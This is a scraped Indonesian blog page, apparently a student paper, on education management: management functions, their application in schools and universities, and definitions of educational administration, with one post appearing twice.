Ada pendapat lain tentang pengertian fungsi actuating, fungsi actuating tersebut dimaksudkan sebagai fungsi pengarahan meliputi pemberian pengarahan kepada staff. Agar dapat dilaksanakan sesuai dengan perencanaan dan dapat mencapai hasil yang sesuai dengan target maka sebuah program yang telah masuk dalam perencanaan hrus berjalan sesuai arah. [15]
Fungsi pelaksana/penggerak ini menempati posisi yang penting dalam merealisasikan segenap tujuan organisasi. Didalam fungsi ini mencakup fungsi kepemimpinan, fungsi motivasi, komunikasi dan bentuk-bentuk lain dalam rangka mempengaruhu seseorang untuk melakukan sesuatu guna mencapai tujuan organisasi. Kepemimpinan berfungsi sebagai pemberi arahan, komando, dan pemberi serta pengambil keputusan. Motivating berguna sebagai cara untuk menggerakan agar tujuan organisasi tercapai, atau dalam kata lain motivasi adalah dorongan untuk menjalankan program yg telah direncanakan, dan bangkit dari keterpurukan, motivasi merupakan modal dalam mencapai keberhasilan suatu program. Sedangkan komunikasi berfungsi sebagai alat untuk menjalin hubungan dalam rangka fungsi penggerakan dalam organisasi. [16]
Fungsi Facilitating meliputi pemberian fasilitas dalam arti luas yakni memberikan kesempatan kepada anak buah agar dapat berkembang ide-ide dari bawahan diakomodir dan kalau memungkinkan dikembangkan dan diberi ruang untuk dapat dilaksanakan.
Fungsi Empowering meliputi pemberdayaan sumber daya manusia yang dimiliki oleh lembaga. Potensi SDM yang ada harus selalu dioptimalkan fungsinya agar bermanfaat bagi pengembangan program organisasi. [17]
Fungsi Pengawasan (Controling) adalah proses pengamatan dan pengukuran suatu kegiatan operasional dan hasil yang dicapai dibandingkan dengan standar yang telah ditetapkan sebelumnya yang ada dalam rencana. [18]
Dalam buku yang berbeda disebutkan bahwa fungsi pengawasan meliputi penentuan standar, supervisi, dan mengukur penampilan/pelaksanaan terhadap standard dan memberikan keyakinan bahwa tujuan organisasi akan tercapai. Pengawasan yang baik memerlukan langkah-langkah pengawasan yaitu:
1) Menentukan tujuan standar kualitas pekerjaan yang diharapkan.
2) Mengukur dan menilai kegiatan-kegiatan atas dasar tujuan dan standar yang ditetapkan.
3) Memutuskan dan mengadakan tindakan perbaikan.[19]
Dalam pendapat lain juga mengatakan bahwa Pengawasan dapat diartikan sebagai upaya untuk mengamati secara sistematis dan berkesinambungan; merekam; memberi penjelasan, petunjuk, pembinaan dan meluruskan berbagai hal yang kurang tepat; serta memperbaiki kesalahan, dan merupakan kunci keberhasilan dalam keseluruhan proses manajemen. [20]
Jadi dapat disimpulkan bahwa fungsi pengawasan yaitu untuk mengukur tingkat efektifitas kerja personal dan tingkat efisiensi penggunaan metode dan alat tertentu dalam usaha mencapai tujuan organisasi sehingga fungsi pengawasan sesungguhnya adalah alat untuk mengukur efektifitas, efisiensi dan produktifitas dalam organisasi yang menganduk aspek pengukuran, pengamatan, pencapaian tujuan, adanya alat atau metode tertentu, dan berkaitan dengan seluruh kegiatan yang telah dilaksanakan sebelumnya.
C. Aplikasi manajemen dan Fungsi Manajemen dalam pendidikan.
Tuntutan akan lulusan lembaga pendidikan yang bermutu semakin mendesak karena semakin ketatnya persaingan dalam lapangan kerja. pendidikan dan lembaga-lembaga pendidikan mengupayakan segala cara untuk meningkatkan daya saing lulusan serta produk-produk akademik lainnya, yang antara lain dicapai melalui peningkatan mutu pendidikan. Tata Administrasi Negara ( TAN) dan Tata Laksana Pemerintahan ( TLP) dalam bidang pendidikan haruslah dapat menyesuaikan dan menjawab tantangan tersebut.
Untuk mencapai terselenggaranya pendidikan bermutu, dikenal dengan perlunya paradigma baru pendidikan yang difokuskan pada otonomi, akuntabilitas, akreditasi dan evaluasi.
Unsur-unsur paradigma baru pendidikan tersebut dapat dijelaskan sebagai berikut Pengertian otonomi dalam pendidikan belum sepenuhnya mendapatkan kesepakatan pengertian dan implementasinya. Tetapi paling tidak, dapat dimengerti sebagai bentuk pendelegasian kewenangan seperti dalam penerimaan dan pengelolaan peserta didik dan staf pengajar/ staf non akademik, pengembangan kurikulum dan materi ajar, serta penentuan standar akademik. Dalam penerapannya di sekolah. misalnya, paling tidak bahwa guru/pengajar semestinya diberikan hak-hak profesi yang mempunyai otoritas di kelas, dan tak sekedar sebagai bagian kepanjangan tangan birokrasi di atasnya .
Akuntabilitas diartikan sebagai kemampuan untuk menghasilkan output dan outcome yang memuaskan pelanggan. Akuntabilitas menuntut kesepadanan antara tujuan lembaga pendidikan tersebut dengan kenyataan dalam hal norma, etika dan nilai (values) termasuk semua program dan kegiatan yang dilaksanakannya. Hal ini memerlukan transparansi (keterbukaan) dari semua fihak yang terlibat dan akuntabilitas untuk penggunaan semua sumberdayanya.
Suatu pengendalian dan akreditasi dari luar diperlukan melalui proses evaluasi tentang pengembangan mutu lembaga pendidikan tersebut. Hasil akreditasi tersebut perlu diketahui oleh masyarakat yang menunjukkan posisi lembaga pendidikan yang bersangkutan dalam menghasilkan produk atau jasa yang bermutu. Pelaksanaan akreditasi dilakukan oleh suatu badan yang berwenang.
Adapun evaluasi adalah suatu upaya sistematis untuk mengumpulkan dan memproses informasi yang menghasilkan kesimpulan tentang nilai, manfaat, serta kinerja dari lembaga pendidikan atau unit kerja yang dievaluasi, kemudian menggunakan hasil evaluasi tersebut dalam proses pengambilan keputusan dan perencanaan. Evaluasi bisa dilakukan secara internal atau eksternal. [21]
Selanjutnya, beberapa aplikasi fungsi manajemen umum dalam manajemen perguruan tinggi adalah sebagai berikut:
1. Perencanan
Perencanaan program kerja, termasuk perencanaan anggaran, bukan merupakan hal baru bagi perguruan tinggi, baik perencanaan lima tahunan maupun perencanaan tahunan. Namun, perencanaan perlu pula dilakukan untuk perencanaan strategis, yaitu perencanaan yang menentukan hidup mati dan berkembang tidaknya suatu universitas.
2. Pengorganisasian
Fungsi pengorganisasian termasuk fungsi pengisian staf yang sesuai untuk setiap tugas atau kedudukan. Pengisian staf atau karyawan perlu membedakan beberapa jenis karyawan yang bekerja di suatu universitas, yang masing-masing mempunyai tugas khas dan karakteristik sendiri-sendiri. Ada sekurang-kurangnya empat jenis kelompok karyawan yang mempunyai tugas berbeda, adalah sebagai berikut:
1) Karyawan akademik adalah para dosen dan peneliti yang bertugas mengajar dan melakukan penelitian ilmiah.
2) Karyawan Administrasi adalah karyawan yang bekerja di rektorat, keuangan, pendaftaran, personalia dan sebagainya.
3) Karyawan Penunjang Akademik adalah mereka yang bekerja sebagai ahli atau karyawan di perpustakaan, laboratorium, bengkel latihan dan sejenisnya.
4) Karyawan penunjang lain adalah karyawan lain seperti sopir, tukang kebun, petugas kebersihan gedung, petugas pemeliharaan dan sebagainya.
Fungsi tugas pengorganisasian dan staf termasuk perencanaan, rekrutmen, seleksi, pelatihan, pengembangan karir, pembuatan rincian tugas (job description) dan kebutuhan tugas (job requirement), penetapan otorisasi, menentukan organigram, menentukan hubungan lini dan hubungan staf, menentukan rentang kendali (span of control), membuat penilaian tugas dan jenjang tugas (job evaluation dan job establishment), merencanakan kaderisasi dan sebagainya.
3. Penggerakan
Fungsi penggerakan berada pada semua tingkat, lokasi, dan bagian perguruan tinggi. Kemudian, fungsi penggerakan meliputi memberikan motivasi, memimpin, menggerakkan, mengevaluasi kinerja individu, memberikan imbal jasa, mengembangkan para manajer dan sebagainya. Fungsi penggerakan kadang-kadang diganti dengan istilah lain, misalnya fungsi kepemimpinan (leading). [22]
IV. KESIMPULAN
Secara etimologi manajemen berasal dari kata to manage yang berarti mengatur. Secara terminology dari pra ahli yang salah satunya disebutkan oleh Terry bahwa manajemen adalah suatu proses yang khas yang terdiri dari tindakan-tindakan perencanaan, pengorganisasian, pengarahan, dan pengendalian yang dilakukan untuk menentukan serta mencapai sasaran-sasaran yang telah ditentukan melalui pemanfaat sumber daya manusia dan sumber-sumber lainnya, sedangkan manajemen pendidikan itu sendiri menurutDjam’an Satori memberikan pengertian manajemen pendidikan sebagai keseluruhan proses kerja sama dengan memanfaatkan semua sumber personil dan materi yang tersedia dan sesuai untuk mencapai tujuan pendidikan yang telah ditetapkan secara efektif dan efisien.
Ada banyak pendapat mengenai fungsi-fungsi manajemen diantaranya yaitu, perencanaan (planning), pengorganisasian (organizing), penataan staff (staffing), memimpin (leading), memberikan motivasi (motivating), memberikan pengarahan (actuating), memfasilatasi (fasilitating), memberdayakan staff (empowering), dan pengawasan (controlling).
V. PENUTUP
Demikianlah makalah ini penulis buat, penulis menyadari bahwa penulisan makalah ini jauh dari sempurna, kritik dan saran yang membangun penulisan makalah selanjutnya untuk jauh lebih baik sangat penulis harapkan. Semoga makalah ini bermanfaat bagi para pembaca. Dan pada akhirnya penulis mengucapakan terima kasih untuk dosen pengampu mata kuliah Manajemen Pendidikan Dr. H. Fatah Syukur NC, M.Ag yang telah memberi kesempatan kepada penulis untuk menguraikan materi ini.
http://wwwnengelis.blogspot.com/2012/03/fungsi-manajemen-pendidikan.htm
DAFTAR PUSTAKA
Bateman, Thomas S. dan Scott A. Snell, Manajemen Kepemimpinan dan Kolaborasi dalam Dunia yang Kompetitif, (Jakarta: Salemba Empat, 2009)
Danim, Sudarwan dan Suparno, Manajemen dan Kepemimpinan Transformasional Kekepalasekolahan
Hidayat, Ara dan Imam Machali, Pengelolaan Pendidikan, (Bandung: Pustaka Educa, 2010)
Manullang,M., Dasar-Dasar Manajemen, (Jakarta: Ghalia Indonesia, 1990)
Syafaruddin, Manajemen Lembaga Pendidikan Islam, (Jakarta: PT Ciputat Press, 2005)
Syukur NC, Fatah, Manajemen Pendidikan, (Semarang:PT.Pustaka Rizki Putra,2011)
http://makalah-ibnu.blogspot.com/2010/01/fungsi-dan-prinsip-manajemen-pendidikan.html
http://stitattaqwa.blogspot.com/2011/12/pengertian-dan-fungsi-fungsi-manajemen.html
http://www.kosmaext2010.com/makalah-manajemen-pengertian-bagian-dan-fungsi-manajemen.php
http://alumnifatek.forumotion.com/t586-penerapan-manajemen-perguruan-tinggi-modern
Bidang Tugas Manajemen Pendidikan
“...agar lembaga-lembaga pendidikan kokoh dalam pengembangannya tidak lagi serba sentralistis, maka kita beri mandat pada lembaga-lembaga pendidikan formal dengan istilah ‘manajemen berbasis sekolah’. Artinya lembaga-lembaga pendidikan ini lebih diberi kekuatan secara otonom dalam mengelola dan mengembangkan misi-misi maupun proses menuju kualitasnya.”
Dikutip dari wawancara Prof. Drs. Malik Fadjar dengan republika, 3 maret 2002
(Prof. Dr. A. Malik Fadjar, Menteri Pendidikan Nasional)
Dalam manajemen berbasis sekolah terdapat beberapa bidang tugas yaitu :
1. Pengelolaan Kurikulum
2. Pengelolaan Peserta Didik
3. Pengelolaan Personalia Pendidikan
4. Pengelolaan Perlengkapan Pendidikan
5. Pengelolaan Keuangan Pendidikan
6. Pengelolaan Layanan Khusus
7. Pengelolaan Ketatausahaan (kantor)
8. Pengelolaan Hubungan Sekolah dengan Masyarakat
Daftar Pustaka :
Soetjipto, Drs. Raflis Kosasi, M. Sc. 2000. Profesi Keguruan. Jakarta : Rineka Cipta
Tim Pengampu. 2011. Profesi Kependidikan. Medan : UNIMED
19:05
HAKEKAT MANAJEMEN PENDIDIKAN DISEKOLAH
KONSEP DASAR ADMINISTRASI DAN MANAJEMEN PENDIDIKAN
A. Pengertian Administrasi
Dalam arti luas administrasi diartikan sebagai proses meliputi perencanaan, pengorganisasian, pengarahan, dan pengendalian sumber daya organisasi.
Dalam arti sempit, administrasi disebut juga sebagai administrasi sekolah atau ketatausahaan sekolah. Petugasnya disebut sebagai tenaga administrasi sekolah. Administrasi sekolah meliputi 12 hal, yaitu 1) administrasi persuratan dan kearsipan (kesekretariatan), 2) administrasi pendidik dan tenaga kependidikan, 3) administrasi keuangan (termasuk RAPBS dan perpajakan) dan standarnya, 4) administrasi isi dan standarnya, 5) administrasi proses dan standarnya, 6) administrasi kesiswaan, 7) standar kompetensi lulusan, 8. administrasi sarana dan prasarana dan standarnya, 9) administrasi kehumasan dan kerja sama, 10) administrasi standar pengelolaan (termasuk implementasi manajemen berbasis sekolah) dan standarnya, 11) administrasi standar penilaian pendidikan, 12) administrasi unit produksi sekolah (untuk SMK Dan MAK)
B. Pengertian Manajemen
Dari segi bahasa management berasal dari kata manage (to manage) yang berarti “to conduct or to carry on, to direct” (Webster Super New School and Office Dictionary), dalam Kamus Inggeris Indonesia kata Manage diartikan “Mengurus, mengatur, melaksanakan, mengelola”(John M. Echols, Hasan Shadily, Kamus Inggeris Indonesia) , sementara itu dalam Kamus Besar Bahasa Indonesia Manajemen diartikan sebagai “Prose penggunaan sumberdaya secara efektif untuk mencapai sasaran”(Kamus Besar Bahasa Indonesia). Adapun dari segi Istilah telah banyak para ahli telah memberikan pengertian manajemen, dengan formulasi yang berbeda-beda, berikut ini akan dikemukakan beberapa pengertian manajemen guna memperoleh pemahaman yang lebih jelas.
Prajudi Atmosudirdjo,(1982 : 124), Manajemen itu adalah pengendalian dan pemanfaatan daripada semua faktor dan sumberdaya, yang menurut suatu perencanaan (planning), diperlukan untuk mencapai atau menyelesaikan suatu prapta atau tujuan kerja yang tertentu
George R. Terry, (1986:4), Manajemen merupakan sebuah proses yang khas, yang terdiri dari tindsakan-tindakan : Perencanaan, pengorganisasian, menggerakan, dan poengawasan, yang dilakukan untuk menentukan serta mencapai sasaran-sasaran yang telah ditetapkan melalui pemanfaatan sumberdaya manusia serta sumber-sumber lain
Sondang P. Siagian (1997 : 5)Manajemen dapat didefinisikan sebagai ‘kemampuan atau ketrampilan untuk memperoleh sesuatu hasil dalam rangka pencapaian tujuan melalui kegiatan-kegiatan orang lain’. Dengan demikian dapat pula dikatakan bahwa manajemen merupakan alat pelaksana utama administrasi.
Dengan memperhatikan beberapa definisi di atas nampak jelas bahwa perbedaan formulasi hanya dikarenakan titik tekan yang berbeda namun prinsip dasarnya sama, yakni bahwa seluruh aktivitas yang dilakukan adalah dalam rangka mencapai suatu tujuan dengan memanfaatkan seluruh sumberdaya yang ada, sementara itu definisi nomor empat yang dikemukakan oleh G.R Terrymenambahkan dengan proses kegiatannya, sedangkan definisi nomor lima dari Sondang P Siagianmenambah penegasan tentang posisi manajemen hubungannya dengan administrasi. Terlepas dari perbedaan tersebut, terdapat beberapa prinsip yang nampaknya menjadi benang merah tentang pengertian manajemen yakni :
1. Manajemen merupakan suatu kegiatan
2. Manajemen menggunakan atau memanfaatkan pihak-pihak lain
3. Kegiatan manajemen diarahkan untuk mencapai suatu tujuan tertentu
Manajemen dalam arti luas adalah perencanaan, pengorganisasian, pengarahan, dan pengendalian (P4) sumber daya organisasi untuk mencapai tujuan secara efektif dan efesien.
Manajemen dalam arti sempit adalah manajemen sekolah/madrasah yang meliputi: perencanaan program sekolah/madrasah, pelaksanaan program sekolah/madrasah, kepemimpinan kepala sekolah/madrasah, pengawas/evaluasi dan sistem informasi sekolah/madrasah.
Setelah melihat pengertian manajemen, maka nampak jelas bahwa setiap organisasi termasuk organisasi pendidikan seperti Sekolah akan sangat memerlukan manajemen untuk mengatur/mengelola kerjasama yang terjadi agar dapat berjalan dengan baik dalam pencapaian tujuan, untuk itu pengelolaannya mesti berjalan secara sistematis melalui tahapan-tahapan dengan diawali oleh suatu rencana sampai tahapan berikutnya dengan menunjukan suatu keterpaduan dalam prosesnya, dengan mengingat hal itu, maka makna pentingnya manajemen semakin jelas bagi kehidupan manusia termasuk bidang pendidikan.
C. Perbedaan Administrasi dengan Manajemen
Sebagian ahli berpendapat bahwa administrasi sama artinya dengan manajemen seperti yang dinyatakan oleh Sutisna (1987) bahwa dalam pemakaiannya secara umum administrasi diartikan sama dengan manajemen, dan administrator sama dengan manajer.
Namun sebagian ahli lain berpendapat bahwa administrasi berbeda dengan manajemen seperti yang dikemukakan Sutisna (1987) bahwa di bidang pendidikan, pemerintahan, rumah sakit, dan kemiliteran, orang umumnya memakai istilah administrasi. Sedangkan di bidang industri dan perusahaan digunakan istilah manajemen dan manajer. Jadi administrasi lebih cocok digunakan untuk lembaga-lembaga pemerintah yang bersifat lebih mengutamakan kepentingan sosial sehingga pelaksananya disebut administrator. Sedangkan manajemen lebih cocok untuk lembaga-lembaga swasta yang bersifat lebih mengutamakan kepentingan komersial sehingga pemimpinnya disebut manajer.
D. Defenisi Pendidikan
Defenisi pendidikan sejauh ini belum ada keseragaman formulasi yang dapai dipakai sebagai pegangan karena masing-masing ahli mengemukakan defenisi yang agak berbeda satu dengan yang lainnya, tergantung dari konsepsi pendekatannya masing-masing.
Namun ditinjau dari sudut hukum, defenisi pendidikan berdasarkan Undang-Undang RI Nomor 20 Tahun 2003 tentang Sisdiknas, Pasal 1 ayat (1) yaitu : ”Pendidikan adalah usaha sadar dan terencana untuk mewujudkan suasana belajar dan proses pembelajaran agar peserta didik secara aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa dan negara.”
E. Defenisi Manajemen Pendidikan
Manajemen pendidikan dapat didefenisikan sebagai seni dan ilmu mengelola sumber daya pendidikan untuk mewujudkan suasana belajar dan proses pembelajaran agar peserta didik secara aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa dan negara.
Manajemen pendidikan dapat pula didefenisikan sebagai seni dan ilmu mengelola sumber daya pendidikan mencapai tujuan pendidikan secara efektif dan efesien. Adapun sumber daya pendidikan adalah sesuatu yang dipergunakan dalam penyelenggaraan pendidikan yang meliputi 12 hal sebagai mana yang disebut di atas.
Manajemen pendidikan dapat pula diartikan sebagai proses perencanaan, pengorganisasian, pengarahan, dan pengendalian sumber daya pendidikan untuk mencapai tujuan pendidikan secara efektif, efisien mandiri, dan akuntabel.
Biro Perencanaan Depdikbud, (1993:4) , Manajemen pendidikan dapat didefinisikan sebagi proses perencanaan, pengorganisasian, memimpin, mengendalikan tenaga pendidikan, sumber daya pendidikan untuk mencapai tujuan pendidikan…
Soebagio Atmodiwirio. (2000:23), Manajemen pendidikan ialah suatu ilmu yang mempelajari bagaimana menata sumber daya untuk mencapai tujuan yang telah ditetapkan secara produktif dan bagaimana menciptakan suasana yang baik bagi manusia yang turut serta di dalam mencapai tujuan yang disepakati bersama
Engkoswara (2001:2), Manajemen pendidikan ialah proses perencanaan, peng-organisasian, memimpin, mengendalikan tenaga pendidikan, sumber daya pendidikan untuk mencapai tujuan pendidikan, mencerdaskan kehidupan bangsa, mengembangkan manusia seutuhnya, yaitu manusia yang beriman, bertakwa kepada Tuhan Yang Maha Esa, berbudi pekerti yang luhur, memiliki pengetahuan, keterampilan, kesehatan jasmani dan rohani, kepribadian yang mantap, mandiri, serta bertanggung jawab kemasyarakat dan kebangsaan
F. Pengertian Administrasi Pendidikan
Administrasi pendidikan dapat diartikan sebagai keseluruhan proses kerjasama dengan memanfaatkan semua sumber personil dan materil yang tersedia dan sesuai untuk mencapai tujuan pendidikan yang telah ditetapkan secara efektif dan efisien…
Djam’an Satori, (1980: 4)
F. Tujuan dan Manfaat Manajemen Pendidikan
Tujuan dan manfaat manajemen pendidikan antara lain:
1) Terwujudnya suasana belajar dan proses pembelajaran yang aktif, kreatif, efektif, menyenangkan dan bermakna (Pakemb)
2) Terciptanya peserta didik yang aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa dan negara.
3) Terpenuhinya salah satu dari 5 kompetensi tenaga kependidikan (tertunjangnya kompetensi manajerial tenaga kependidikan sebagai manajer)
4) Tercapainya tujuan pendidikan secara efektif dan efesien
5) Terbekalinya tenaga kependidikan dengan teori tentang proses dan tugas administrasi pendidikan (tertunjangnya profesi sebagai manajer atau konsultan manajemen pendidikan)
6) Teratasinya masalah mutu pendidikan, karena 80% masalah mutu disebabkan oleh manajemennya
7) Terciptanya perencanaan pendidikan yang merata, bermutu, relevan, dan akuntabel
Meningkatkan citra positif pendidikan
G. Faktor-Faktor yang Mempengaruhi Perilaku Manajemen Pendidikan
Manajemen pendidikan merupakan salah satu cabang ilmu sosial yang intinya adalah mempelajari tentang perilaku manusia dalam kegiatannya sebagai subjek dan objek. Secara filosofis, perilaku manusia terbentuk oleh interaksi antarmanusia, iklim organisasi (konteks organisasi) dan sistem yang dianut. Ketiga interaksi tersebut, baik secara sendiri-sendiri maupun secara bersama-sama saling berinteraksi dengan lingkungan eksternalnya. Dengan demikian dapat disimpulkan faktor-faktor yang mempengaruhi perilaku manajemen pendidikan adalah:
1) interaksi antarmanusia
2) iklim organisasi
3) sistem pendidikan yang dianut (sisdiknas)
4) lingkungan eksternal
DIPOSKAN OLEH JUST DI 21.51
LABEL: PROFESI KEPENDIDIKAN
0 KOMENTAR:
:a: :b: :c: :d: :e: :f: :g: :h: :i: :j: :k: :l: :m: :n:
POSKAN KOMENTAR
Posting Lebih BaruPosting LamaBeranda
Langganan: Poskan Komentar (Atom)
rachmafriendlich
Enjoy In My Blog
KAMIS, 26 APRIL 2012
Hakekat Manajemen Pendidikan disekolah
Diposkan oleh just di 21.51
HAKEKAT MANAJEMEN PENDIDIKAN DISEKOLAH
KONSEP DASAR ADMINISTRASI DAN MANAJEMEN PENDIDIKAN
A. Pengertian Administrasi
Dalam arti luas administrasi diartikan sebagai proses meliputi perencanaan, pengorganisasian, pengarahan, dan pengendalian sumber daya organisasi.
Dalam arti sempit, administrasi disebut juga sebagai administrasi sekolah atau ketatausahaan sekolah. Petugasnya disebut sebagai tenaga administrasi sekolah. Administrasi sekolah meliputi 12 hal, yaitu 1) administrasi persuratan dan kearsipan (kesekretariatan), 2) administrasi pendidik dan tenaga kependidikan, 3) administrasi keuangan (termasuk RAPBS dan perpajakan) dan standarnya, 4) administrasi isi dan standarnya, 5) administrasi proses dan standarnya, 6) administrasi kesiswaan, 7) standar kompetensi lulusan, 8. administrasi sarana dan prasarana dan standarnya, 9) administrasi kehumasan dan kerja sama, 10) administrasi standar pengelolaan (termasuk implementasi manajemen berbasis sekolah) dan standarnya, 11) administrasi standar penilaian pendidikan, 12) administrasi unit produksi sekolah (untuk SMK Dan MAK)
B. Pengertian Manajemen
Dari segi bahasa management berasal dari kata manage (to manage) yang berarti “to conduct or to carry on, to direct” (Webster Super New School and Office Dictionary), dalam Kamus Inggeris Indonesia kata Manage diartikan “Mengurus, mengatur, melaksanakan, mengelola”(John M. Echols, Hasan Shadily, Kamus Inggeris Indonesia) , sementara itu dalam Kamus Besar Bahasa Indonesia Manajemen diartikan sebagai “Prose penggunaan sumberdaya secara efektif untuk mencapai sasaran”(Kamus Besar Bahasa Indonesia). Adapun dari segi Istilah telah banyak para ahli telah memberikan pengertian manajemen, dengan formulasi yang berbeda-beda, berikut ini akan dikemukakan beberapa pengertian manajemen guna memperoleh pemahaman yang lebih jelas.
Prajudi Atmosudirdjo,(1982 : 124), Manajemen itu adalah pengendalian dan pemanfaatan daripada semua faktor dan sumberdaya, yang menurut suatu perencanaan (planning), diperlukan untuk mencapai atau menyelesaikan suatu prapta atau tujuan kerja yang tertentu
George R. Terry, (1986:4), Manajemen merupakan sebuah proses yang khas, yang terdiri dari tindsakan-tindakan : Perencanaan, pengorganisasian, menggerakan, dan poengawasan, yang dilakukan untuk menentukan serta mencapai sasaran-sasaran yang telah ditetapkan melalui pemanfaatan sumberdaya manusia serta sumber-sumber lain
Sondang P. Siagian (1997 : 5)Manajemen dapat didefinisikan sebagai ‘kemampuan atau ketrampilan untuk memperoleh sesuatu hasil dalam rangka pencapaian tujuan melalui kegiatan-kegiatan orang lain’. Dengan demikian dapat pula dikatakan bahwa manajemen merupakan alat pelaksana utama administrasi.
Dengan memperhatikan beberapa definisi di atas nampak jelas bahwa perbedaan formulasi hanya dikarenakan titik tekan yang berbeda namun prinsip dasarnya sama, yakni bahwa seluruh aktivitas yang dilakukan adalah dalam rangka mencapai suatu tujuan dengan memanfaatkan seluruh sumberdaya yang ada, sementara itu definisi nomor empat yang dikemukakan oleh G.R Terrymenambahkan dengan proses kegiatannya, sedangkan definisi nomor lima dari Sondang P Siagianmenambah penegasan tentang posisi manajemen hubungannya dengan administrasi. Terlepas dari perbedaan tersebut, terdapat beberapa prinsip yang nampaknya menjadi benang merah tentang pengertian manajemen yakni :
1. Manajemen merupakan suatu kegiatan
2. Manajemen menggunakan atau memanfaatkan pihak-pihak lain
3. Kegiatan manajemen diarahkan untuk mencapai suatu tujuan tertentu
Manajemen dalam arti luas adalah perencanaan, pengorganisasian, pengarahan, dan pengendalian (P4) sumber daya organisasi untuk mencapai tujuan secara efektif dan efesien.
Manajemen dalam arti sempit adalah manajemen sekolah/madrasah yang meliputi: perencanaan program sekolah/madrasah, pelaksanaan program sekolah/madrasah, kepemimpinan kepala sekolah/madrasah, pengawas/evaluasi dan sistem informasi sekolah/madrasah.
Setelah melihat pengertian manajemen, maka nampak jelas bahwa setiap organisasi termasuk organisasi pendidikan seperti Sekolah akan sangat memerlukan manajemen untuk mengatur/mengelola kerjasama yang terjadi agar dapat berjalan dengan baik dalam pencapaian tujuan, untuk itu pengelolaannya mesti berjalan secara sistematis melalui tahapan-tahapan dengan diawali oleh suatu rencana sampai tahapan berikutnya dengan menunjukan suatu keterpaduan dalam prosesnya, dengan mengingat hal itu, maka makna pentingnya manajemen semakin jelas bagi kehidupan manusia termasuk bidang pendidikan.
C. Perbedaan Administrasi dengan Manajemen
Sebagian ahli berpendapat bahwa administrasi sama artinya dengan manajemen seperti yang dinyatakan oleh Sutisna (1987) bahwa dalam pemakaiannya secara umum administrasi diartikan sama dengan manajemen, dan administrator sama dengan manajer.
Namun sebagian ahli lain berpendapat bahwa administrasi berbeda dengan manajemen seperti yang dikemukakan Sutisna (1987) bahwa di bidang pendidikan, pemerintahan, rumah sakit, dan kemiliteran, orang umumnya memakai istilah administrasi. Sedangkan di bidang industri dan perusahaan digunakan istilah manajemen dan manajer. Jadi administrasi lebih cocok digunakan untuk lembaga-lembaga pemerintah yang bersifat lebih mengutamakan kepentingan sosial sehingga pelaksananya disebut administrator. Sedangkan manajemen lebih cocok untuk lembaga-lembaga swasta yang bersifat lebih mengutamakan kepentingan komersial sehingga pemimpinnya disebut manajer.
D. Defenisi Pendidikan
Defenisi pendidikan sejauh ini belum ada keseragaman formulasi yang dapai dipakai sebagai pegangan karena masing-masing ahli mengemukakan defenisi yang agak berbeda satu dengan yang lainnya, tergantung dari konsepsi pendekatannya masing-masing.
Namun ditinjau dari sudut hukum, defenisi pendidikan berdasarkan Undang-Undang RI Nomor 20 Tahun 2003 tentang Sisdiknas, Pasal 1 ayat (1) yaitu : ”Pendidikan adalah usaha sadar dan terencana untuk mewujudkan suasana belajar dan proses pembelajaran agar peserta didik secara aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa dan negara.”
E. Defenisi Manajemen Pendidikan
Manajemen pendidikan dapat didefenisikan sebagai seni dan ilmu mengelola sumber daya pendidikan untuk mewujudkan suasana belajar dan proses pembelajaran agar peserta didik secara aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa dan negara.
Manajemen pendidikan dapat pula didefenisikan sebagai seni dan ilmu mengelola sumber daya pendidikan mencapai tujuan pendidikan secara efektif dan efesien. Adapun sumber daya pendidikan adalah sesuatu yang dipergunakan dalam penyelenggaraan pendidikan yang meliputi 12 hal sebagai mana yang disebut di atas.
Manajemen pendidikan dapat pula diartikan sebagai proses perencanaan, pengorganisasian, pengarahan, dan pengendalian sumber daya pendidikan untuk mencapai tujuan pendidikan secara efektif, efisien mandiri, dan akuntabel.
Biro Perencanaan Depdikbud, (1993:4) , Manajemen pendidikan dapat didefinisikan sebagi proses perencanaan, pengorganisasian, memimpin, mengendalikan tenaga pendidikan, sumber daya pendidikan untuk mencapai tujuan pendidikan…
Soebagio Atmodiwirio. (2000:23), Manajemen pendidikan ialah suatu ilmu yang mempelajari bagaimana menata sumber daya untuk mencapai tujuan yang telah ditetapkan secara produktif dan bagaimana menciptakan suasana yang baik bagi manusia yang turut serta di dalam mencapai tujuan yang disepakati bersama
Engkoswara (2001:2), Manajemen pendidikan ialah proses perencanaan, peng-organisasian, memimpin, mengendalikan tenaga pendidikan, sumber daya pendidikan untuk mencapai tujuan pendidikan, mencerdaskan kehidupan bangsa, mengembangkan manusia seutuhnya, yaitu manusia yang beriman, bertakwa kepada Tuhan Yang Maha Esa, berbudi pekerti yang luhur, memiliki pengetahuan, keterampilan, kesehatan jasmani dan rohani, kepribadian yang mantap, mandiri, serta bertanggung jawab kemasyarakat dan kebangsaan
F. Pengertian Administrasi Pendidikan
Administrasi pendidikan dapat diartikan sebagai keseluruhan proses kerjasama dengan memanfaatkan semua sumber personil dan materil yang tersedia dan sesuai untuk mencapai tujuan pendidikan yang telah ditetapkan secara efektif dan efisien…
Djam’an Satori, (1980: 4)
F. Tujuan dan Manfaat Manajemen Pendidikan
Tujuan dan manfaat manajemen pendidikan antara lain:
1) Terwujudnya suasana belajar dan proses pembelajaran yang aktif, kreatif, efektif, menyenangkan dan bermakna (Pakemb)
2) Terciptanya peserta didik yang aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa dan negara.
3) Terpenuhinya salah satu dari 5 kompetensi tenaga kependidikan (tertunjangnya kompetensi manajerial tenaga kependidikan sebagai manajer)
4) Tercapainya tujuan pendidikan secara efektif dan efesien
